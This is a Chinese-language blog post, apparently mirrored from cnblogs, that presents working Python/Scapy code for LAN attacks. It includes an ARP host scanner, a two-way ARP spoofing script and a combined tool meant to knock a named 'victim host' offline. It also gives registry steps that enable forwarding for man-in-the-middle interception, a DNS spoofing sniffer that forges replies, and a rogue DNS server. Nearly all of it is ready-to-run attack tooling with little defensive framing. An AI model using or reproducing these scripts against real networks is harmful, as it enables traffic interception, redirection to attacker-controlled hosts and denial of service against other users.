zoukankan      html  css  js  c++  java
  • Python 实现ARP扫描欺骗工具

    实现简单的ARP扫描工具: 传入扫描参数main.py -a 192.168.1.1-100 扫描网段内所有的在线主机并显示其MAC地址.

    from scapy.all import *
    from optparse import OptionParser
    import threading
    
    def parse_ip(targets):
        _split = targets.split('-')
        first_ip = _split[0]
        ip_split = first_ip.split('.')
        ipv4 = range(int(ip_split[3]),int(_split[1])+1)
        addr = [ ip_split[0]+'.'+ip_split[1]+'.'+ip_split[2]+'.'+str(p) for p in ipv4 ]
        return addr
    
    def arp_scan(address):
        try:
            ret = sr1(ARP(pdst=address),timeout=5,verbose=False)
            if ret:
                if ret.haslayer('ARP') and ret.fields['op'] == 2:
                    print('[+] IP地址: {} => MAC地址:{}'.format(ret.fields['psrc'],ret.fields['hwsrc']))
        except Exception:
            exit(1)
    
    if __name__ == "__main__":
        parser = OptionParser()
        parser.add_option("-a","--addr",dest="address",help="--> input 192.168.1.0-100")
        (options,args) = parser.parse_args()
        if options.address:
            addr_list = parse_ip(options.address)
            for item in addr_list:
                threads = []
                t = threading.Thread(target=arp_scan,args=(item,))
                threads.append(t)
                t.start()
            for item in threads:
                item.join()
        else:
            parser.print_help()
    

    简单的ARP双向欺骗: 可以使用route -4 print 获取本地机器的网卡名称

    from scapy.all import *
    from optparse import OptionParser
    import threading
    
    # 生成ARP数据包,伪造网关欺骗目标计算机
    def createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP):
        pkt = Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2)
        return pkt
    # 生成ARP数据包,伪造目标计算机欺骗网关
    def createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP):
        pkt = Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2)
        return pkt
    
    interface = "Realtek PCIe GBE Family Controller"   # 本地接口名称
    gatewayIP = "192.168.1.1"                          # 本网段的网关地址
    tgtIP = "192.168.1.3"                              # 目标计算机的IP(被欺骗计算机)
    
    srcMac = get_if_hwaddr(interface)                  # 本机的MAC地址
    tgtMac = getmacbyip(tgtIP)                         # 目标计算机的MAC地址
    gatewayMac = getmacbyip(gatewayIP)                 # 网关的MAC地址
    
    print("[+] 本机MAC: {} ---> 目标MAC: {} ---> 网关MAC: {}".format(srcMac,tgtMac,gatewayMac))
    print("[+] 目标IP: {} ---> 网关IP: {}".format(tgtIP,gatewayIP))
    
    pktstation = createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP)
    pktgateway = createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP)
    
    while True:
        t = threading.Thread(target=sendp,args=(pktstation,),kwargs={'iface':interface})
        t.start()
        t.join()
        s = threading.Thread(target=sendp,args=(pktgateway,),kwargs={'iface':interface})
        s.start()
        s.join()
    

    合并起来吧,构成自己的ARP欺骗工具包

    from scapy.all import *
    from optparse import OptionParser
    import threading,time
    
    # 生成网段信息,例如输入: 192.168.1.1/20 生成1-20地址
    def Parse_IP(targets):
        _split = targets.split('/')
        first_ip = _split[0]
        ip_split = first_ip.split('.')
        ipv4 = range(int(ip_split[3]),int(_split[1])+1)
        addr = [ ip_split[0]+'.'+ip_split[1]+'.'+ip_split[2]+'.'+str(p) for p in ipv4 ]
        return addr
    
    # 通过ARP协议扫描局域网中在线的设备
    def ARP_Scan(address):
        try:
            ret = sr1(ARP(pdst=address),timeout=5,verbose=False)
            if ret:
                if ret.haslayer('ARP') and ret.fields['op'] == 2:
                    print('[+] IP地址: %-13s ==> MAC地址: %-15s' %(ret.fields['psrc'],ret.fields['hwsrc']))
        except Exception:
            exit(1)
    
    # 生成ARP数据包,伪造网关欺骗目标计算机
    def createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP):
        pkt = Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2)
        return pkt
    # 生成ARP数据包,伪造目标计算机欺骗网关
    def createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP):
        pkt = Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2)
        return pkt
    
    # 开启线程将数据包发送得到目标主机,使其拒绝服务,断网.
    def BrokenNetwork(Interface,gatewayIP,tgtIP):
        srcMac = get_if_hwaddr(Interface)                               # 通过接口名称获取本机MAC地址
        tgtMac = getmacbyip(tgtIP)                                      # 通过IP地址获取目标计算机的MAC地址
        gatewayMac = getmacbyip(gatewayIP)                              # 指定本机网段的网关MAC地址
        while True:
            time.sleep(1)
            pktstation = createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP)
            pktgateway = createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP)
    
            t = threading.Thread(target=sendp,args=(pktstation,),kwargs={'iface':Interface})
            t.start()
            t.join()
            s = threading.Thread(target=sendp,args=(pktgateway,),kwargs={'iface':Interface})
            s.start()
            s.join()
    
    if __name__ == "__main__":
        parser = OptionParser()
        parser.add_option("-s","--scan",dest="scan",help="输入一个扫描网段: 192.168.1.1/10")
        parser.add_option("-i","--interface",dest="interface",help="输入接口名: Realtek PCIe GBE Family Controller")
        parser.add_option("-g","--gateway",dest="gateway",help="输入网关地址: 192.168.1.1")
        parser.add_option("-t","--target",dest="target",help="输入被害主机地址: 192.168.1.10")
        (options,args) = parser.parse_args()
        if options.scan:
            addr_list = Parse_IP(options.scan)
            for item in addr_list:
                threads = []
                t = threading.Thread(target=ARP_Scan,args=(item,))
                threads.append(t)
                t.start()
            for item in threads:
                item.join()
        elif options.gateway and options.target and options.scan == None:
            BrokenNetwork(options.interface,options.gateway,options.target)
        else:
            parser.print_help()
    

    开启转发功能。开始运行里面输入regedit 打开注册表编辑器,在注册表定位下面注册表项

    HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/ Services/Tcpip/Parameters

    选择下面的项目:IPEnableRouter:REG_DWORD:0x0 找到项目鼠标右键修改数值为1

    关于欺骗,网上其他人的一种实现方法,代码如下,只不过我们只做了ARP骗,而在该欺骗基础上可以加强为DNS欺骗。

    import sys
    import os
    import threading
    from scapy.all import *
    from optparse import  OptionParser
    
    #DNS欺骗函数
    def DNS_Spoof(data):
        if data.haslayer(DNS):
            try:
                #构造DNS AN数据
                dns_an=DNSRR(rrname=data[DNS].qd.qname,rdata=jokers)
                #构造IP/UDP数据包
                repdata=IP(src=data[IP].dst,dst=data[IP].src)/UDP(dport=data[IP].sport,sport=53)
                #构造DNS数据包
                repdata/=DNS(id=data[DNS].id,qd=data[DNS].qd,qr=1,an=dns_an)
                #攻击信息输出
                print ('\nhancker ip :' + jokers + " url : "+data[DNS].qd.qname)
                #发送数据包
                send(repdata)
            except Exception:
                sys.exit(1)
     
    #DNS欺骗函数
    def DNS_S(dns_ip,iface):
        global jokers
        jokers=dns_ip
        print ("DNS欺骗开始!")
        sniff(prn=DNS_Spoof,filter='udp dst port 53',iface=iface)
     
    #ARP欺骗函数
    def op(eths,mubiao_ip,Ps,gateway_ip):
        ip=mubiao_ip
        wifi=gateway_ip
        #目标设备MAC地址
        dst_Mac=str(getmacbyip(ip))
        #黑客设备mac地址
        self_Mac=str(get_if_hwaddr(eths))
        #网关MAC地址
        wifi_Mac=str(getmacbyip(wifi))
        #构造以太帧数据
        Ether_data=Ether(src=self_Mac,dst=dst_Mac)/ARP(op=2,hwsrc=self_Mac,psrc=wifi,hwdst=dst_Mac,pdst=ip)
        try:
            #发送以太帧数据,sendp发送OSI模型中的二层数据
            sendp(Ether_data,inter=2,iface=eths,loop=1)
        except Exception as e:
            print("目标ARP数据发送失败!")
     
    def wifi(eths,mubiao_ip,gateway_ip,Ps,dns_ip):
        ip=gateway_ip
        dst=mubiao_ip
        et = eths
        #根据IP获取MAC
        dst_Mac = getmacbyip(ip)
        #根据网卡获取MAC
        self_Mac = get_if_hwaddr(et)
        Ether_data = None
        if Ps=="1":
            #构造以太帧数据与ARP响应数据,ARP协议源地址给一个不存在的MAC地址与正确的IP地址对应,实现双向的无法解析,ARP协议的op参数是状态,2为响应数据,1为请求数据
            Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc='12:1a:13:a3:13:ef', psrc=dst, hwdst=dst_Mac, pdst=ip)
            #新线程,开始DNS欺骗
            t3 = threading.Thread(target=DNS_S, args=(dns_ip,eths))
            t3.setDaemon(True)
            t3.start()
        if Ps == "0":
            #构造以太帧数据与ARP响应数据,这里因为不需要DNS欺骗,所以不需要一个假的MAC地址,让双方通信设备正常访问即可
            Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=dst, hwdst=dst_Mac, pdst=ip)
        if Ps!="1" and Ps!="0":
            print (Ps)
            print (type(Ps))
            print ('-P 参数有误!')
            sys.exit(1)
        try:
            sendp(Ether_data, inter=2,iface=et,loop=1)
        except Exception as e:
            print("网关ARP数据发送失败!")
     
     
    def main():
        try:
                eth= "Realtek PCIe GBE Family Controller"
                mubiao="192.168.1.6"
                gateway="192.168.1.1"
                P="0"
                dip="8.8.8.8"
                t1=threading.Thread(target=op,args=(eth,mubiao,P,gateway))
                t1.setDaemon(True)
                t1.start()
                t2=threading.Thread(target=wifi,args=(eth,mubiao,gateway,P,dip))
                t2.setDaemon(True)
                t2.start()
        except Exception as e:
            print (e)
            sys.exit(1)
        while True:
            pass
    
    if __name__ == '__main__':
        main()
    

    DNS欺骗需要一个DNS解析服务器,这里从网上找到一个DNS解析服务器代码,可以快速解析。

    import socketserver,struct
    
    class SinDNSQuery:
        def __init__(self, data):
            i = 1
            self.name = ''
            while True:
                d = data[i]
                if d == 0:
                    break;
                if d < 32:
                    self.name = self.name + '.'
                else:
                    self.name = self.name + chr(d)
                i = i + 1
            self.querybytes = data[0:i + 1]
            (self.type, self.classify) = struct.unpack('>HH', data[i + 1:i + 5])
            self.len = i + 5
        def getbytes(self):
            return self.querybytes + struct.pack('>HH', self.type, self.classify)
    
    class SinDNSAnswer:
        def __init__(self, ip):
            self.name = 49164
            self.type = 1
            self.classify = 1
            self.timetolive = 190
            self.datalength = 4
            self.ip = ip
        def getbytes(self):
            res = struct.pack('>HHHLH', self.name, self.type, self.classify, self.timetolive, self.datalength)
            s = self.ip.split('.')
            res = res + struct.pack('BBBB', int(s[0]), int(s[1]), int(s[2]), int(s[3]))
            return res
    
    class SinDNSFrame:
        def __init__(self, data):
            (self.id, self.flags, self.quests, self.answers, self.author, self.addition) = struct.unpack('>HHHHHH', data[0:12])
            self.query = SinDNSQuery(data[12:])
        def getname(self):
            return self.query.name
        def setip(self, ip):
            self.answer = SinDNSAnswer(ip)
            self.answers = 1
            self.flags = 33152
        def getbytes(self):
            res = struct.pack('>HHHHHH', self.id, self.flags, self.quests, self.answers, self.author, self.addition)
            res = res + self.query.getbytes()
            if self.answers != 0:
                res = res + self.answer.getbytes()
            return res
    
    class SinDNSUDPHandler(socketserver.BaseRequestHandler):
        def handle(self):
            data = self.request[0].strip()
            dns = SinDNSFrame(data)
            socket = self.request[1]
            namemap = SinDNSServer.namemap
            if(dns.query.type==1):
                name = dns.getname();
                if namemap.__contains__(name):
                    dns.setip(namemap[name])
                    socket.sendto(dns.getbytes(), self.client_address)
                elif namemap.__contains__('*'):
                    dns.setip(namemap['*'])
                    socket.sendto(dns.getbytes(), self.client_address)
                else:
                    socket.sendto(data, self.client_address)
            else:
                socket.sendto(data, self.client_address)
    
    class SinDNSServer:
        def __init__(self, port=53):
            SinDNSServer.namemap = {}
            self.port = port
        def addname(self, name, ip):
            SinDNSServer.namemap[name] = ip
        def start(self):
            HOST, PORT = "0.0.0.0", self.port
            server = socketserver.UDPServer((HOST, PORT), SinDNSUDPHandler)
            server.serve_forever()
    
    if __name__ == "__main__":
        server = SinDNSServer()
        server.addname('www.lyshark.com', '192.168.1.1')
        server.addname('*', '192.168.1.2')
        server.start()
    
    文章出处:https://www.cnblogs.com/LyShark/p/12383009.html
    版权声明:本博客文章与代码均为学习时整理的笔记,博客中除去明确标注有参考文献的文章,其他文章 [均为原创] 作品,转载请 [添加出处] ,您添加出处是我创作的动力!

    如果您恶意转载本人文章并被本人发现,则您的整站文章,将会变为我的原创作品,请相互尊重 !
    转载规范 点击阅读 如果您转载本人文章,则视为您默认同意此规范约定。
  • 相关阅读:
    Linux用户配置文件、口令配置文件、组配置文件
    Linux忘记Root密码怎么找回
    Linux运行级别及解释
    Maven获取resources的文件路径、读取resources的文件
    常见状态码100、200、300、400、500等
    JVM内存模型
    tcl使用小结
    MFQ&&PPDCS
    总结下自己在工作中有关联的TCP/IP协议
    二层交换机和三层交换机
  • 原文地址:https://www.cnblogs.com/LyShark/p/12383009.html
Copyright © 2011-2022 走看看